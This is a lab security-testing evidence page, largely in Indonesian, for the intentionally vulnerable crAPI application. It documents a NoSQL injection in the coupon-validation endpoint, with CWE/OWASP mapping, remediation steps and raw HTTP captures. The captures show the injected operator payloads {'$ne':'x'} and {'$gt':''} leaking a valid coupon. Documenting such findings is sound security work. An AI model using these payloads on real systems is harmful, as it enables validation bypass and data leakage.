NoSQL Injection - Community - Coupon Validation
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
crAPI/Evidence/[FAIL] NoSQL Injection - Community - Coupon Validation
01 — Catatan
Catatan pengujian
Kerentanan
Deskripsi
Dampak
CWE
OWASP
Skenario
Endpoint
Fitur terdampak
Rekomendasi perbaikan
Bukti konsep
Lihat catatan sumber (bahasa Indonesia)
Vulnerability: [FAIL] NoSQL Injection - Community - Coupon Validation
Description:
Endpoint validate-coupon memasukkan nilai JSON coupon_code langsung ke query MongoDB tanpa sanitasi tipe. Operator query (mis. $ne, $gt) mencocokkan kupon apa pun tanpa mengetahui kodenya.
Impact:
Confidentiality: kode & nilai kupon valid bocor. Integrity: validasi kupon dilewati (bypass), penyalahgunaan diskon.
CWE:
CWE-943: Improper Neutralization of Special Elements in Data Query Logic (NoSQL Injection)
OWASP:
API8:2023 - Security Misconfiguration (Injection)
Scenario:
Normal: kode kupon string valid (TRAC075) -> 200. Eksploitasi: coupon_code diganti operator NoSQL ($ne/$gt) -> membocorkan kupon tanpa tahu kode -> CIA (Confidentiality + Integrity).
Endpoint:
POST http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon
Affected Feature:
Validasi Kupon (crapi-community)
Remediation:
- Paksa tipe string pada coupon_code; tolak objek/operator.
- Query di-parameter/sanitasi & validasi skema input.
POC:
1) (Screenshot 1) NORMAL: POST validate-coupon dengan coupon_code string valid "TRAC075" -> 200.
2) (Screenshot 2) EKSPLOITASI: ganti coupon_code menjadi operator {"$ne":"x"} -> 200 membocorkan kupon valid tanpa tahu kodenya.
3) (Screenshot 3) DAMPAK CIA: operator {"$gt":""} juga membocorkan kupon -> konfirmasi NoSQL injection.
02 — Tangkapan layar
Tangkapan layar (3)
Alur normal: pengguna memasukkan kode kupon berupa string yang sudah diketahui (TRAC075). Respons 200 menyatakan kode valid.
Eksploitasi: nilai coupon_code diganti dengan operator NoSQL {"$ne":"x"} sehingga kupon valid terungkap tanpa perlu mengetahui kodenya.
Dampak: operator {"$gt":""} juga membocorkan kupon. Kebocoran kode dan nilai kupon berdampak pada kerahasiaan; bypass validasi kupon berdampak pada integritas.
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"coupon_code":"TRAC075"}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79
{
"coupon_code": "TRAC075",
"amount": "75",
"CreatedAt": "2026-09-28T14:27:38.729Z"
}Alur normal: pengguna memasukkan kode kupon berupa string yang sudah diketahui (TRAC075). Respons 200 menyatakan kode valid.
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"coupon_code":{"$ne":"x"}}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79
{
"coupon_code": "TRAC075",
"amount": "75",
"CreatedAt": "2026-09-28T14:27:38.729Z"
}Eksploitasi: nilai coupon_code diganti dengan operator NoSQL {"$ne":"x"} sehingga kupon valid terungkap tanpa perlu mengetahui kodenya.
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"coupon_code":{"$gt":""}}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79
{
"coupon_code": "TRAC075",
"amount": "75",
"CreatedAt": "2026-09-28T14:27:38.729Z"
}Dampak: operator {"$gt":""} juga membocorkan kupon. Kebocoran kode dan nilai kupon berdampak pada kerahasiaan; bypass validasi kupon berdampak pada integritas.